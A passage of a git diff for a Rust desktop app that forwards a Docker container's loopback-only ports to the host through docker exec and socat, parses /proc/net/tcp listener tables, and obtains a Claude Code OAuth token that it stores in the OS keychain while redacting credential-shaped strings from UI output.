+ break; + } + }; + if !project.auth_bridge_enabled { + log::info!("Auth bridge: disabled for project {} — tearing down", project_id); + break; + } + if !is_container_running(&container_id).await.unwrap_or(false) { + log::info!( + "Auth bridge: container for project {} is no longer running — tearing down", + project_id + ); + break; + } + + // One exec per tick reads both procfs files. + let cmd = vec![ + "cat".to_string(), + "/proc/net/tcp".to_string(), + "/proc/net/tcp6".to_string(), + ]; + // Cancellation races the exec, not just the sleep, so disabling the + // bridge or stopping the container doesn't wait out an in-flight poll. + let discovery = tokio::select! { + _ = cancel.changed() => break, + res = exec_oneshot(&container_id, cmd) => res, + }; + + match discovery { + Ok(text) => { + exec_failures = 0; + let discovered = proc_net::parse_loopback_listeners(&text); + let skip = skipped_ports(&project); + if reconcile(&container_id, &discovered, &skip, &state).await { + emit_status(&app, &project_id, &state, true).await; + } + } + Err(e) => { + exec_failures += 1; + // Transient failures happen (container restarting, engine busy); + // only complain once per streak. + if exec_failures == 1 { + log::warn!( + "Auth bridge: failed to read /proc/net/tcp in container for project {}: {}", + project_id, + e + ); + } + } + } + + tokio::select! { + _ = cancel.changed() => break, + _ = tokio::time::sleep(POLL_INTERVAL) => {} + } + } + + teardown(&project_id, &state).await; + emit_status( + &app, + &project_id, + &state, + store + .get(&project_id) + .is_some_and(|p| p.auth_bridge_enabled), + ) + .await; + + // Deregister, unless a newer poller has already taken this project's slot. + let mut map = bridges.lock().await; + if map.get(&project_id).is_some_and(|b| b.epoch == epoch) { + map.remove(&project_id); + } +} + +/// Ports Docker already handles for this project. A container port that is +/// explicitly published has a host-side path already, and the mapping's host +/// port is a binding we must not fight over. +fn skipped_ports(project: &crate::models::Project) -> HashSet { + project + .port_mappings + .iter() + .flat_map(|m| [m.container_port, m.host_port]) + .collect() +} + +/// Bring the set of host listeners in line with what the container is currently +/// listening on. Returns whether anything the UI cares about changed. +async fn reconcile( + container_id: &str, + discovered: &BTreeMap, + skip: &HashSet, + state: &Arc>, +) -> bool { + let mut changed = false; + let mut st = state.lock().await; + + // Drop host listeners whose container-side counterpart vanished, became + // covered by an explicit port mapping, or changed address family (a family + // change alters the socat target, so it has to be rebound below). + let stale: Vec = st + .forwards + .iter() + .filter(|(port, forward)| match discovered.get(port) { + None => true, + Some(_) if skip.contains(port) => true, + Some(family) => *family != forward.family, + }) + .map(|(port, _)| *port) + .collect(); + for port in stale { + if let Some(mut forward) = st.forwards.remove(&port) { + forward.shutdown().await; + log::info!("Auth bridge: released host port {}", port); + changed = true; + } + } + + // Forget conflicts for ports that are no longer relevant. + let before = st.conflicts.len(); + st.conflicts + .retain(|port, _| discovered.contains_key(port) && !skip.contains(port)); + changed |= st.conflicts.len() != before; + + for (&port, &family) in discovered { + if skip.contains(&port) || st.forwards.contains_key(&port) { + continue; + } + match PortForward::bind(container_id.to_string(), port, family).await { + Ok(forward) => { + if st.conflicts.remove(&port).is_some() { + log::info!("Auth bridge: host port {} became available", port); + } + log::info!( + "Auth bridge: bridging 127.0.0.1:{} → container {} ({:?})", + port, + family.socat_target(port), + family + ); + st.forwards.insert(port, forward); + changed = true; + } + Err(e) => { + // Conflict policy: never fight for a port. Something else on the + // host owns it — another project's bridge, or an unrelated + // process. Skip it, record why so the UI can say so, and retry + // on later ticks in case the owner releases it. Warn only on + // the transition so a long-lived conflict doesn't spam the log. + let reason = format!( + "Host port {} is already in use ({}); not bridged.", + port, e + ); + if st.conflicts.get(&port) != Some(&reason) { + log::warn!("Auth bridge: {}", reason); + st.conflicts.insert(port, reason); + changed = true; + } + } + } + } + + changed +} + +/// Release every host port held for this project. Awaits each shutdown, so on +/// return nothing is bound. +async fn teardown(project_id: &str, state: &Arc>) { + let mut st = state.lock().await; + let forwards = std::mem::take(&mut st.forwards); + st.conflicts.clear(); + let count = forwards.len(); + for (_, mut forward) in forwards { + forward.shutdown().await; + } + if count > 0 { + log::info!( + "Auth bridge: released {} host port(s) for project {}", + count, + project_id + ); + } +} + +async fn emit_status( + app: &AppHandle, + project_id: &str, + state: &Arc>, + enabled: bool, +) { + let status = state.lock().await.snapshot(enabled); + let _ = app.emit( + AUTH_BRIDGE_EVENT, + serde_json::json!({ + "project_id": project_id, + "status": status, + }), + ); +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::models::{PortMapping, Project, ProjectPath}; + + fn project_with_mappings(mappings: Vec<(u16, u16)>) -> Project { + let mut p = Project::new( + "test".to_string(), + vec![ProjectPath { + host_path: "/tmp".to_string(), + mount_name: "tmp".to_string(), + }], + ); + p.port_mappings = mappings + .into_iter() + .map(|(host_port, container_port)| PortMapping { + host_port, + container_port, + protocol: "tcp".to_string(), + }) + .collect(); + p + } + + #[test] + fn ports_already_published_by_docker_are_skipped() { + let skip = skipped_ports(&project_with_mappings(vec![(3000, 3000), (8081, 8080)])); + assert!(skip.contains(&3000)); + // Both ends of an asymmetric mapping are off limits: the container port + // is already reachable, and the host port is Docker's binding. + assert!(skip.contains(&8080)); + assert!(skip.contains(&8081)); + assert!(!skip.contains(&34567)); + } + + #[test] + fn no_mappings_means_nothing_is_skipped() { + assert!(skipped_ports(&project_with_mappings(vec![])).is_empty()); + } +} diff --git a/app/src-tauri/src/auth_bridge/proc_net.rs b/app/src-tauri/src/auth_bridge/proc_net.rs new file mode 100644 index 0000000..761a001 --- /dev/null +++ b/app/src-tauri/src/auth_bridge/proc_net.rs @@ -0,0 +1,302 @@ +//! Discovery of loopback TCP listeners by parsing `/proc/net/tcp` and +//! `/proc/net/tcp6` from inside the container. +//! +//! ## Why /proc and not `ss` +//! +//! The container image (`container/Dockerfile`) ships neither `iproute2` (`ss`) +//! nor `net-tools` (`netstat`) nor `lsof`. `/proc/net/tcp{,6}` is part of procfs +//! and needs no package at all, so discovery works in the stock image and in any +//! snapshot derived from it. +//! +//! ## Wire format +//! +//! Both files are fixed-column text with a header line: +//! +//! ```text +//! sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode +//! 0: 0100007F:8707 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27764798 1 ... +//! ``` +//! +//! Only two columns matter: `local_address` (index 1) and `st` (index 3). +//! `st == 0A` is `TCP_LISTEN`; every other state is a connection, not a listener. +//! +//! ## Hex and endianness +//! +//! `local_address` is `
:`, both hex, but they are *not* encoded +//! the same way: +//! +//! * The **port** is a plain big-endian `%04X` — `8707` is 34567. +//! * The **address** is printed as one `%08X` per 32-bit word *in host byte +//! order*, which is little-endian on every platform this app targets. So each +//! 8-hex-digit group must be parsed as a `u32` and then expanded with +//! [`u32::to_le_bytes`] to recover the address bytes in network order: +//! `0100007F` → `0x0100007F` → `[7F, 00, 00, 01]` → `127.0.0.1`. +//! +//! IPv4 rows have one such group (8 hex digits); IPv6 rows have four (32 hex +//! digits), each converted independently, in order, to fill the 16 address +//! bytes. `::1` is therefore `00000000000000000000000001000000`, and the +//! IPv4-mapped `::ffff:127.0.0.1` is `0000000000000000FFFF00000100007F`. +//! +//! ## What counts as loopback +//! +//! Only `127.0.0.0/8` and `::1` (plus IPv4-mapped loopback, reported as v4). +//! A `0.0.0.0` or `::` listener is a service deliberately published to the +//! outside world — that is the port-mappings feature's job, not the auth +//! bridge's — so those rows are dropped. + +use std::collections::BTreeMap; +use std::net::{Ipv4Addr, Ipv6Addr}; + +use serde::{Deserialize, Serialize}; + +/// The `st` column value for `TCP_LISTEN`. +const TCP_LISTEN: &str = "0A"; + +/// Which loopback address family (or families) a container-side listener was +/// found on. Determines the `socat` target address used to reach it. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum PortFamily { + /// Only `127.0.0.0/8`. + V4, + /// Only `::1`. Common in practice: Node resolves `localhost` to IPv6 first + /// on Linux, so `claude login` frequently binds `::1` and nothing else + /// (anthropics/claude-code#44844). + V6, + /// Both — reachable either way; we use IPv4. + Dual, +} + +impl PortFamily { + fn merge(self, other: PortFamily) -> PortFamily { + if self == other { + self + } else { + PortFamily::Dual + } + } + + /// The `socat` address that reaches this listener from inside the container. + /// A `::1`-only listener genuinely cannot be reached via `127.0.0.1` + /// (verified: connect gets ECONNREFUSED), hence the split. + pub fn socat_target(&self, port: u16) -> String { + match self { + PortFamily::V4 | PortFamily::Dual => format!("TCP:127.0.0.1:{}", port), + PortFamily::V6 => format!("TCP6:[::1]:{}", port), + } + } +} + +/// One parsed LISTEN row that survived the loopback filter. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] +pub struct LoopbackListener { + pub port: u16, + pub family: PortFamily, +} + +/// Parse the concatenated contents of `/proc/net/tcp` and `/proc/net/tcp6` into +/// the set of loopback ports being listened on, keyed by port with the families +/// merged (a port bound on both `127.0.0.1` and `::1` yields +/// [`PortFamily::Dual`]). +/// +/// Unparseable lines — the two header lines, `cat`'s "No such file" complaint +/// when IPv6 is disabled, anything else that ends up interleaved in the exec's +/// combined output — are silently ignored rather than failing the whole poll. +pub fn parse_loopback_listeners(text: &str) -> BTreeMap { + let mut ports: BTreeMap = BTreeMap::new(); + for listener in parse_listener_rows(text) { + ports + .entry(listener.port) + .and_modify(|f| *f = f.merge(listener.family)) + .or_insert(listener.family); + } + ports +} + +/// Row-level parse, before per-port family merging. Split out so tests can +/// assert on the individual rows. +pub fn parse_listener_rows(text: &str) -> Vec { + text.lines().filter_map(parse_listener_row).collect() +} + +fn parse_listener_row(line: &str) -> Option { + let mut fields = line.split_whitespace(); + let _sl = fields.next()?; + let local_address = fields.next()?; + let _rem_address = fields.next()?; + let state = fields.next()?; + + if state != TCP_LISTEN { + return None; + } + + let (addr_hex, port_hex) = local_address.split_once(':')?; + // The port is a straightforward big-endian hex u16 — no byte swapping. + let port = u16::from_str_radix(port_hex, 16).ok()?; + if port == 0 { + return None; + } + + let family = match addr_hex.len() { + 8 => { + let addr = Ipv4Addr::from(parse_le_word(addr_hex)?); + addr.is_loopback().then_some(PortFamily::V4) + } + 32 => { + let mut octets = [0u8; 16]; + for (i, group) in addr_hex.as_bytes().chunks(8).enumerate() { + let group = std::str::from_utf8(group).ok()?; + octets[i * 4..i * 4 + 4].copy_from_slice(&parse_le_word(group)?); + } + let addr = Ipv6Addr::from(octets); + // An IPv4-mapped row describes a v4 socket, so it is reachable at + // 127.0.0.1 and must be classified as v4, not v6. + match addr.to_ipv4_mapped() { + Some(v4) => v4.is_loopback().then_some(PortFamily::V4), + None => addr.is_loopback().then_some(PortFamily::V6), + } + } + _ => None, + }?; + + Some(LoopbackListener { port, family }) +} + +/// Parse one `%08X` procfs address word into its four address bytes in network +/// order. The kernel prints the word in host byte order, so the recovered bytes +/// are the little-endian expansion of the parsed integer. +fn parse_le_word(hex: &str) -> Option<[u8; 4]> { + Some(u32::from_str_radix(hex, 16).ok()?.to_le_bytes()) +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Verbatim `cat /proc/net/tcp` from a running `triple-c:latest` container + /// with three listeners deliberately started: + /// * `socat TCP4-LISTEN:34567,bind=127.0.0.1` → row 0 (`0100007F:8707`) + /// * `socat TCP4-LISTEN:34569,bind=0.0.0.0` → row 1 (`00000000:8709`) + /// * `node ... .listen(34568, "::1")` → appears in TCP6 only + const REAL_PROC_NET_TCP: &str = concat!( + " sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode \n", + " 0: 0100007F:8707 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27764798 1 0000000000000000 100 0 0 10 0 \n", + " 1: 00000000:8709 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27758875 1 0000000000000000 100 0 0 10 0 \n", + ); + + /// Verbatim `cat /proc/net/tcp6` from the same container. The single row is + /// the Node listener bound to `::1` only — the case that motivates the + /// TCP6 socat target. + const REAL_PROC_NET_TCP6: &str = concat!( + " sl local_address remote_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode\n", + " 0: 00000000000000000000000001000000:8708 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27747129 1 0000000000000000 100 0 0 10 0\n", + ); + + fn both_files() -> String { + format!("{}{}", REAL_PROC_NET_TCP, REAL_PROC_NET_TCP6) + } + + #[test] + fn parses_ipv4_loopback_row_with_little_endian_address() { + let rows = parse_listener_rows(REAL_PROC_NET_TCP); + // 0100007F → 127.0.0.1 (kept), 00000000 → 0.0.0.0 (dropped). + assert_eq!( + rows, + vec![LoopbackListener { + port: 0x8707, + family: PortFamily::V4 + }] + ); + assert_eq!(rows[0].port, 34567); + } + + #[test] + fn parses_ipv6_loopback_row() { + let rows = parse_listener_rows(REAL_PROC_NET_TCP6); + assert_eq!( + rows, + vec![LoopbackListener { + port: 34568, + family: PortFamily::V6 + }] + ); + } + + #[test] + fn ignores_wildcard_bind_addresses() { + // 0.0.0.0:34569 is in the fixture and must never be bridged — that is + // the port-mappings feature's territory. + let ports = parse_loopback_listeners(&both_files()); + assert!(!ports.contains_key(&34569)); + + // Same for the IPv6 wildcard and a non-loopback unicast address. + let wildcard_v6 = " 0: 00000000000000000000000000000000:1F90 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1 1 0 100 0 0 10 0"; + let lan_v4 = " 0: 0245A8C0:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1 1 0 100 0 0 10 0"; + assert!(parse_listener_rows(wildcard_v6).is_empty()); + assert!(parse_listener_rows(lan_v4).is_empty()); + } + + #[test] + fn parses_both_files_concatenated_as_one_exec_output() { + let ports = parse_loopback_listeners(&both_files()); + assert_eq!(ports.len(), 2); + assert_eq!(ports.get(&34567), Some(&PortFamily::V4)); + assert_eq!(ports.get(&34568), Some(&PortFamily::V6)); + } + + #[test] + fn merges_families_for_a_dual_stack_port() { + let dual = format!( + "{} 1: 00000000000000000000000001000000:8707 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 2 1 0 100 0 0 10 0\n", + both_files() + ); + let ports = parse_loopback_listeners(&dual); + assert_eq!(ports.get(&34567), Some(&PortFamily::Dual)); + } + + #[test] + fn ipv4_mapped_loopback_is_reported_as_v4() { + // ::ffff:127.0.0.1 — a v4 socket surfacing in /proc/net/tcp6. + let row = " 0: 0000000000000000FFFF00000100007F:8707 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1 1 0 100 0 0 10 0"; + assert_eq!( + parse_listener_rows(row), + vec![LoopbackListener { + port: 34567, + family: PortFamily::V4 + }] + ); + } + + #[test] + fn ignores_non_listen_states() { + // Same loopback address, state 01 (ESTABLISHED) instead of 0A. + let established = " 0: 0100007F:8707 0100007F:C350 01 00000000:00000000 00:00000000 00000000 0 0 1 1 0 100 0 0 10 0"; + assert!(parse_listener_rows(established).is_empty()); + } + + #[test] + fn ignores_headers_and_garbage() { + assert!(parse_listener_rows("").is_empty()); + assert!(parse_listener_rows( + "cat: /proc/net/tcp6: No such file or directory\n\n sl local_address rem_address st\n" + ) + .is_empty()); + // Truncated / malformed rows must not panic or be accepted. + assert!(parse_listener_rows(" 0: 0100007F 00000000:0000 0A").is_empty()); + assert!(parse_listener_rows(" 0: ZZZZZZZZ:8707 00000000:0000 0A x").is_empty()); + assert!(parse_listener_rows(" 0: 0100007F:0000 00000000:0000 0A x").is_empty()); + } + + #[test] + fn socat_target_matches_family() { + assert_eq!( + PortFamily::V4.socat_target(34567), + "TCP:127.0.0.1:34567" + ); + assert_eq!( + PortFamily::Dual.socat_target(34567), + "TCP:127.0.0.1:34567" + ); + assert_eq!(PortFamily::V6.socat_target(34568), "TCP6:[::1]:34568"); + } +} diff --git a/app/src-tauri/src/auth_bridge/tunnel.rs b/app/src-tauri/src/auth_bridge/tunnel.rs new file mode 100644 index 0000000..216c207 --- /dev/null +++ b/app/src-tauri/src/auth_bridge/tunnel.rs @@ -0,0 +1,245 @@ +//! Host-side loopback listener for one bridged port, and the per-connection +//! tunnel that carries its bytes into the container. +//! +//! ## Why not connect to the container's IP +//! +//! Container IPs are not routable from the host on Docker Desktop (macOS and +//! Windows run the engine in a VM), so a host→`172.17.x.x` dial cannot be the +//! transport. The Docker API is the only channel guaranteed to reach the +//! container from the host, so each accepted connection is carried by a +//! `docker exec` running `socat - TCP:127.0.0.1:`, with the exec's stdin +//! and stdout wired to the TCP socket. `socat` ships in the container image. +//! +//! The exec plumbing itself is *not* reimplemented here: it comes from +//! [`crate::docker::exec::create_attached_exec`], the same helper the +//! interactive terminal sessions are built on. + +use std::net::{Ipv4Addr, Ipv6Addr, SocketAddr}; + +use bollard::container::LogOutput; +use futures_util::StreamExt; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::{TcpListener, TcpStream}; +use tokio::task::{JoinHandle, JoinSet}; + +use crate::docker::exec::{create_attached_exec, AttachedExec}; + +use super::proc_net::PortFamily; + +/// Buffer size for the host→container direction. OAuth callbacks are tiny; this +/// only needs to not be pathological. +const PUMP_BUF: usize = 16 * 1024; + +/// Aborts a task when dropped, so a cancelled parent can never leave a detached +/// child running. +struct AbortOnDrop(JoinHandle<()>); + +impl Drop for AbortOnDrop { + fn drop(&mut self) { + self.0.abort(); + } +} + +/// One host loopback port bound and proxied into the container. +/// +/// The accept loop owns the [`TcpListener`](tokio::net::TcpListener)s and the +/// [`JoinSet`] of live connection tasks, so aborting the single task handle +/// releases the port *and* tears down every connection under it. [`Drop`] does +/// that as a backstop; [`PortForward::shutdown`] does it deterministically by +/// also awaiting the aborted task, which guarantees the socket is closed before +/// the caller proceeds (important when a port is rebound right after). +pub struct PortForward { + pub port: u16, + pub family: PortFamily, + pub bridged_at: String, + task: JoinHandle<()>, +} + +impl Drop for PortForward { + fn drop(&mut self) { + self.task.abort(); + } +} + +impl PortForward { + /// Bind `port` on the host loopback and start proxying into `container_id`. + /// + /// The bind happens before the task is spawned, so an already-taken port is + /// reported to the caller as an error rather than disappearing into a + /// background task. + pub async fn bind( + container_id: String, + port: u16, + family: PortFamily, + ) -> Result { + // SECURITY BOUNDARY: the host side binds loopback ONLY — 127.0.0.1 and + // ::1, never 0.0.0.0 / ::. Everything reachable through this socket is + // an unauthenticated service inside the container that deliberately + // bound loopback because it expected to be reachable from nowhere else. + // Binding a wildcard address here would publish container internals to + // every host on the LAN. Do not "fix" a connectivity problem by + // widening these addresses. + let v4 = TcpListener::bind(SocketAddr::from((Ipv4Addr::LOCALHOST, port))).await?; + + // Also take ::1 when it is available. Browsers and CLIs resolve + // `localhost` to either family, and the IPv6 answer is often tried + // first, so a v4-only host listener would miss those callbacks. This is + // best-effort: if ::1 is unavailable (no IPv6, or that half is taken) + // the v4 listener alone still works, so it is not treated as a conflict. + let v6 = match TcpListener::bind(SocketAddr::from((Ipv6Addr::LOCALHOST, port))).await { + Ok(l) => Some(l), + Err(e) => { + log::debug!( + "Auth bridge: bound 127.0.0.1:{} but not [::1]:{} ({}) — continuing with IPv4 only", + port, + port, + e + ); + None + } + }; + + let target = family.socat_target(port); + let task = tokio::spawn(accept_loop(container_id, port, target, v4, v6)); + + Ok(Self { + port, + family, + bridged_at: chrono::Utc::now().to_rfc3339(), + task, + }) + } + + /// Stop accepting, drop the host socket, and abort every in-flight + /// connection. Awaits the aborted task so the port is provably released + /// when this returns. + pub async fn shutdown(&mut self) { + self.task.abort(); + let _ = (&mut self.task).await; + } +} + +/// Accept on both loopback listeners until aborted. Dropping this future drops +/// the listeners (freeing the port) and the `JoinSet` (aborting live tunnels). +async fn accept_loop( + container_id: String, + port: u16, + target: String, + v4: TcpListener, + v6: Option, +) { + let mut conns: JoinSet<()> = JoinSet::new(); + + loop { + let accepted = tokio::select! { + r = v4.accept() => r, + r = accept_optional(v6.as_ref()) => r, + // Reap finished tunnels so the JoinSet doesn't grow without bound. + // When the set is empty `join_next()` yields None, the pattern fails + // to match, and the branch simply drops out of the select. + Some(_) = conns.join_next() => continue, + }; + + match accepted { + Ok((stream, peer)) => { + log::debug!("Auth bridge: connection from {} to bridged port {}", peer, port); + let _ = stream.set_nodelay(true); + conns.spawn(tunnel_connection( + container_id.clone(), + target.clone(), + stream, + port, + )); + } + Err(e) => { + log::warn!("Auth bridge: accept failed on port {}: {} — stopping listener", port, e); + return; + } + } + } +} + +/// `accept()` on an optional listener; never completes when there is none, so it +/// can sit in a `select!` arm unconditionally. +async fn accept_optional( + listener: Option<&TcpListener>, +) -> std::io::Result<(TcpStream, SocketAddr)> { + match listener { + Some(l) => l.accept().await, + None => std::future::pending().await, + } +} + +/// Carry one accepted host connection into the container over `socat`. +async fn tunnel_connection(container_id: String, target: String, stream: TcpStream, port: u16) { + let cmd = vec!["socat".to_string(), "-".to_string(), target.clone()]; + + let AttachedExec { + mut output, + mut input, + .. + } = match create_attached_exec(&container_id, cmd, false).await { + Ok(e) => e, + Err(e) => { + log::warn!( + "Auth bridge: failed to open tunnel exec for port {} ({}): {}", + port, + target, + e + ); + return; + } + }; + + let (mut host_rx, mut host_tx) = stream.into_split(); + + // Host → container. Runs as its own task so the container→host direction is + // never blocked behind a client that has stopped sending. Finishing this + // direction drops `input`, which closes the exec's stdin and lets socat see + // a clean EOF (a half-close, not a teardown of the whole connection). + let upstream = AbortOnDrop(tokio::spawn(async move { + let mut buf = vec![0u8; PUMP_BUF]; + loop { + match host_rx.read(&mut buf).await { + Ok(0) => break, + Ok(n) => { + if input.write_all(&buf[..n]).await.is_err() || input.flush().await.is_err() { + break; + } + } + Err(_) => break, + } + } + })); + + // Container → host. This direction is authoritative: when the exec's output + // stream ends, socat has exited and the connection is over. + while let Some(chunk) = output.next().await { + match chunk { + // Only stdout is payload. The exec is created with tty = false + // precisely so Docker demultiplexes these, keeping socat's stderr + // diagnostics out of the proxied byte stream. + Ok(LogOutput::StdOut { message }) => { + if host_tx.write_all(&message).await.is_err() { + break; + } + } + Ok(LogOutput::StdErr { message }) => { + log::debug!( + "Auth bridge: socat stderr for port {}: {}", + port, + String::from_utf8_lossy(&message).trim() + ); + } + Ok(_) => {} + Err(e) => { + log::debug!("Auth bridge: tunnel stream error on port {}: {}", port, e); + break; + } + } + } + + let _ = host_tx.shutdown().await; + // Explicit: stop reading from the host now that the container side is gone. + drop(upstream); +} diff --git a/app/src-tauri/src/commands/auth_bridge_commands.rs b/app/src-tauri/src/commands/auth_bridge_commands.rs new file mode 100644 index 0000000..dddff71 --- /dev/null +++ b/app/src-tauri/src/commands/auth_bridge_commands.rs @@ -0,0 +1,67 @@ +//! IPC surface for the auth bridge. The mechanism lives in +//! [`crate::auth_bridge`]; this file only translates between it and the +//! frontend, and keeps the persisted per-project flag in step. + +use tauri::{AppHandle, State}; + +use crate::auth_bridge::AuthBridgeStatus; +use crate::AppState; + +/// Turn the bridge on or off for a project and return the resulting status. +/// +/// Enabling starts polling immediately when the container is already running; +/// otherwise the flag is simply persisted and `start_project_container` arms the +/// bridge on the next start. This is a host-side feature, so no container +/// recreation is involved either way. +#[tauri::command] +pub async fn set_auth_bridge_enabled( + project_id: String, + enabled: bool, + app_handle: AppHandle, + state: State<'_, AppState>, +) -> Result { + state + .projects_store + .set_auth_bridge_enabled(&project_id, enabled)?; + + if enabled { + let project = state + .projects_store + .get(&project_id) + .ok_or_else(|| format!("Project {} not found", project_id))?; + if let Some(container_id) = project.container_id { + if crate::docker::container::is_container_running(&container_id) + .await + .unwrap_or(false) + { + state + .auth_bridge + .start( + project_id.clone(), + container_id, + app_handle, + state.projects_store.clone(), + ) + .await; + } + } + } else { + // Awaits the poller, so every host port is released before we return. + state.auth_bridge.stop(&project_id).await; + } + + Ok(state.auth_bridge.status(&project_id, enabled).await) +} + +#[tauri::command] +pub async fn get_auth_bridge_status( + project_id: String, + state: State<'_, AppState>, +) -> Result { + let enabled = state + .projects_store + .get(&project_id) + .map(|p| p.auth_bridge_enabled) + .unwrap_or(false); + Ok(state.auth_bridge.status(&project_id, enabled).await) +} diff --git a/app/src-tauri/src/commands/auth_token_commands.rs b/app/src-tauri/src/commands/auth_token_commands.rs new file mode 100644 index 0000000..eb42463 --- /dev/null +++ b/app/src-tauri/src/commands/auth_token_commands.rs @@ -0,0 +1,942 @@ +//! Shared Claude Code authentication — one long-lived token for every project. +//! +//! ## Why +//! +//! Without this, every container is its own authentication island: each one +//! needs `claude login`, each one opens a browser flow, each one stores its own +//! credential in its own config volume. `claude setup-token` mints a single +//! ~1-year OAuth token that Claude Code accepts via `CLAUDE_CODE_OAUTH_TOKEN`, +//! so one authentication event can cover the whole fleet. +//! +//! ## How the token is obtained +//! +//! Observed directly against Claude Code 2.1.226, because the flow is not what +//! the design assumed. `claude setup-token` prints an authorization URL whose +//! `redirect_uri` is **Anthropic-hosted** +//! (`https://platform.claude.com/oauth/code/callback`) — it does *not* start a +//! loopback listener. After signing in, the user copies a code off that page +//! and the CLI waits at a `Paste code here if prompted >` prompt on **stdin**. +//! It then prints the token. +//! +//! Two consequences: +//! +//! * The flow needs a way to deliver the pasted code, hence +//! [`submit_claude_token_code`] and the stdin channel below. Without it the +//! command would simply sit at the prompt until it timed out. +//! * [`crate::auth_bridge`] is *not* required for this particular command, +//! since there is no container-local callback to reach. It is still enabled +//! for the duration (and restored afterwards) as designed: it costs nothing +//! here and keeps the flow working if a future CLI version, or the plain +//! `claude login` path, goes back to a loopback redirect. +//! +//! ## Handling of the token itself +//! +//! The token never reaches the frontend. It is parsed out of the command's +//! output, written straight to the OS keychain, and from then on only +//! [`crate::docker::container`] reads it, to inject the env var. Everything +//! streamed to the UI passes through [`SecretRedactor`] first, and no command +//! here returns the token or accepts it as an argument. + +use std::sync::OnceLock; +use std::time::Duration; + +use futures_util::StreamExt; +use tauri::{AppHandle, Emitter, State}; +use tokio::io::AsyncWriteExt; +use tokio::sync::{mpsc, oneshot, Mutex}; + +use crate::docker::container::is_container_running; +use crate::docker::exec::{create_attached_exec, wait_for_exec_exit, AttachedExec}; +use crate::storage::secure; +use crate::AppState; + +/// Milestones in the acquisition flow. Payload `{ project_id, message }`, +/// matching the `container-progress` convention. +const PROGRESS_EVENT: &str = "claude-token-progress"; + +/// Redacted output from `claude setup-token`, so the UI can show the user the +/// URL to visit. Payload `{ project_id, chunk }`. +const OUTPUT_EVENT: &str = "claude-token-output"; + +/// How long to wait for the whole flow. Generous: the user has to switch to a +/// browser, sign in, and approve. Bounded so a wedged exec can't leak a task. +const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60); + +/// Documented shape of a `setup-token` credential. +const TOKEN_PREFIX: &str = "sk-ant-oat01-"; + +/// Minimum number of body characters after [`TOKEN_PREFIX`] for a match to be +/// believed. Real tokens run to ~90 characters; this is set well below that but +/// far above anything prose would produce, so documentation-style decoys like +/// `sk-ant-oat01-...` or `sk-ant-oat01-` are rejected. +const MIN_TOKEN_BODY: usize = 32; + +/// Redaction is deliberately broader than extraction: anything shaped like an +/// Anthropic credential is masked on its way to the UI, not just `oat01` ones. +const SECRET_MARKER: &str = "sk-ant-"; +const SECRET_PLACEHOLDER: &str = "sk-ant-"; +const MIN_SECRET_BODY: usize = 8; + +/// Cap on how much text [`SecretRedactor`] will withhold waiting for a +/// candidate secret to end. Past this, it is not a token — release it (still +/// redacted) rather than swallow the UI's output. +const MAX_HOLDBACK: usize = 4096; + +/// Cap on the retained transcript used for parsing. The token is printed at the +/// end, and a re-rendering TUI can repaint many times, so keeping the tail is +/// both sufficient and bounded. +const MAX_TRANSCRIPT: usize = 256 * 1024; + +/// Characters that can appear in the body of an Anthropic credential. +fn is_token_byte(b: u8) -> bool { + b.is_ascii_alphanumeric() || b == b'-' || b == b'_' +} + +// ───────────────────────────────────────────────────────────────────────────── +// Token extraction +// ───────────────────────────────────────────────────────────────────────────── + +/// Pull the long-lived token out of `claude setup-token`'s output. +/// +/// Strict by construction, because the alternative to failing is storing +/// garbage that silently breaks every container: +/// * the value must carry the documented `sk-ant-oat01-` prefix; +/// * the prefix must not be glued to the tail of a longer word; +/// * at least [`MIN_TOKEN_BODY`] token characters must follow it. +/// +/// The **last** match wins. The command narrates before it succeeds, and a TUI +/// may repaint the same frame repeatedly, so earlier matches are either prose +/// or superseded repaints of the same value. +pub fn parse_setup_token(output: &str) -> Option { + let bytes = output.as_bytes(); + let mut found = None; + let mut cursor = 0usize; + + while let Some(offset) = output[cursor..].find(TOKEN_PREFIX) { + let start = cursor + offset; + cursor = start + TOKEN_PREFIX.len(); + + // `xsk-ant-oat01-…` is not a token, it is a substring of something else. + if start > 0 && is_token_byte(bytes[start - 1]) { + continue; + } + + let body_start = start + TOKEN_PREFIX.len(); + let mut end = body_start; + while end < bytes.len() && is_token_byte(bytes[end]) { + end += 1; + } + if end - body_start < MIN_TOKEN_BODY { + continue; + } + + found = Some(output[start..end].to_string()); + } + + found +} + +// ───────────────────────────────────────────────────────────────────────────── +// Redaction +// ───────────────────────────────────────────────────────────────────────────── + +/// Mask every *complete* credential in `text`. +fn redact_complete(text: &str) -> String { + let bytes = text.as_bytes(); + let mut out = String::with_capacity(text.len()); + let mut copied = 0usize; + let mut cursor = 0usize; + + while let Some(offset) = text[cursor..].find(SECRET_MARKER) { + let start = cursor + offset; + cursor = start + SECRET_MARKER.len(); + + if start > 0 && is_token_byte(bytes[start - 1]) { + continue; + } + let body_start = start + SECRET_MARKER.len(); + let mut end = body_start; + while end < bytes.len() && is_token_byte(bytes[end]) { + end += 1; + } + if end - body_start < MIN_SECRET_BODY { + continue; + } + + out.push_str(&text[copied..start]); + out.push_str(SECRET_PLACEHOLDER); + copied = end; + cursor = end; + } + + out.push_str(&text[copied..]); + out +} + +/// Where the tail that might still grow into a credential begins. Everything +/// before this index is safe to emit; everything from it must be withheld until +/// more input arrives. Returns `text.len()` when nothing needs withholding. +fn holdback_index(text: &str) -> usize { + let bytes = text.as_bytes(); 